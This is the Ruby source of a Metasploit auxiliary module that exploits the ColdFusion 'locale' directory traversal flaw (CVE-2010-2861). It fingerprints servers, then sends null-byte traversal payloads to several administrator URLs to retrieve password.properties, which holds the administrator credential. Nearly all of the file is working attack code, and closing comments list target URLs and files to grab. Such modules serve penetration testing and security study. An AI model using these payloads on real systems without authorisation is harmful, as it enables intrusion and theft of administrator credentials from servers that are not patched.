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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'ColdFusion Server Check',
'Description' => %q{
This module attempts to exploit the directory traversal in the 'locale'
attribute. According to the advisory the following versions are vulnerable:
ColdFusion MX6 6.1 base patches,
ColdFusion MX7 7,0,0,91690 base patches,
ColdFusion MX8 8,0,1,195765 base patches,
ColdFusion MX8 8,0,1,195765 with Hotfix4.
Adobe released patches for ColdFusion 8.0, 8.0.1, and 9 but ColdFusion 9 is reported
to have directory traversal protections in place, subsequently this module does NOT
work against ColdFusion 9. Adobe did not release patches for ColdFusion 6.1 or
ColdFusion 7.
It is not recommended to set FILE when doing scans across a group of servers where the OS
may vary; otherwise, the file requested may not make sense for the OS
},
'Author' => [ 'CG', 'nebulus' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2861' ],
[ 'BID', '42342' ],
[ 'OSVDB', '67047' ],
[ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],
[ 'URL', 'http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],
]
)
register_options(
[
OptString.new('FILE', [ false, 'File to retrieve', '']),
OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false])
], self.class)
end
def fingerprint(response)
if(response.headers.has_key?('Server') )
if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
os = "Windows (#{response.headers['Server']})"
elsif(response.headers['Server'] =~ /Apache\//)
os = "Unix (#{response.headers['Server']})"
else
os = response.headers['Server']
end
end
return nil if response.body.length < 100
title = "Not Found"
response.body.gsub!(/[\r\n]/, '')
if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
title = $1
title.gsub!(/\s/, '')
end
return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
out = nil
if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
v = $1
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 #{v}" : "Adobe ColdFusion MX7 #{v}"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
out = "Adobe ColdFusion MX7"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
out = "Adobe ColdFusion 8"
elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
out = "Adobe ColdFusion 9"
elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
out = $1.split(/,/)[0]
else
out = 'Unknown ColdFusion'
end
if(title.downcase == 'coldfusionadministrator')
out << " (administrator access)"
end
out << " (#{os})"
return out
end
def run_host(ip)
trav = datastore['FILE']
if(trav == '' or datastore['FINGERPINT'])
# the user did not specify what they wanted, fingerprint, go after password.properties
url = '/CFIDE/administrator/index.cfm'
res = send_request_cgi({
'uri' => url,
'method' => 'GET',
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
})
return if not res or not res.body or not res.code
if (res.code.to_i == 200)
out = fingerprint(res)
print_status("#{ip} #{out}") if out
return if (datastore['FINGERPRINT'])
if(out =~ /Windows/ and out =~ /MX6/)
trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en'
elsif(out =~ /Windows/ and out =~ /MX7/)
trav = '..\..\..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en'
elsif(out =~ /Windows/ and out =~ /ColdFusion 8/)
trav = '..\..\..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en'
elsif(out =~ /ColdFusion 9/)
print_status("#{ip} ColdFusion 9 is not vulnerable, skipping")
return
elsif(out =~ /Unix/ and out =~ /MX6/)
trav = '../../../../../../../../../../opt/coldfusionmx/lib/password.properties%00en'
elsif(out =~ /Unix/ and out =~ /MX7/)
trav = '../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en'
elsif(out =~ /Unix/ and out =~ /ColdFusion 8/)
trav = '../../../../../../../../../../opt/coldfusion8/lib/password.properties%00en'
else
if(res.body =~ /Adobe/ and res.body =~ /ColdFusion/)
print_error("#{ip} Fingerprint failed, FILE not set...aborting")
else
return # probably just a web server
end
end
else
return # silent fail as it doesnt necessarily at this point have to be a CF server
end
end
# file specified or obtained via fingerprint
if(trav !~ /\.\.\/\.\.\// and trav !~ /\.\.\\\.\.\\/)
# file probably specified by user, make sure to add in actual traversal
trav = '../../../../../../../../../../' << trav << '%00en'
end
locale = "?locale="
urls = ["/CFIDE/administrator/enter.cfm", "/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm",
"/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/logging/settings.cfm"]
# "/CFIDE/install.cfm", haven't seen where this one works
out = '' # to keep output in synch with threads
urls.each do |url|
res = send_request_raw({
'uri' => url+locale+trav,
'method' => 'GET',
'headers' =>
{
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
},
})
if (res.nil?)
print_error("no response for #{ip}:#{rport} #{url}")
elsif (res.code == 200)
#print_error("#{res.body}")#debug
print_status("URL: #{ip}#{url}#{locale}#{trav}")
if res.body.match(/\<title\>(.*)\<\/title\>/im)
fileout = $1
if(fileout !~ /Login$/ and fileout !~ /^Welcome to ColdFusion/ and fileout !~ /^Archives and Deployment/)
print_good("#{ip} FILE: #{fileout}")
break
end
end
else
next if (res.code == 500 or res.code == 404 or res.code == 302)
print_error("#{ip} #{res.to_s}")
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
# URLs that may work for you:
#"/CFIDE/administrator/enter.cfm",
#"/CFIDE/wizards/common/_logintowizard.cfm",
#"/CFIDE/administrator/archives/index.cfm",
#"/CFIDE/install.cfm",
#"/CFIDE/administrator/entman/index.cfm",
#"/CFIDE/administrator/logging/settings.cfm",
# Files to grab
#../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#../../../../../../../../../../CFusionMX7/lib/password.properties%00en
#../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en
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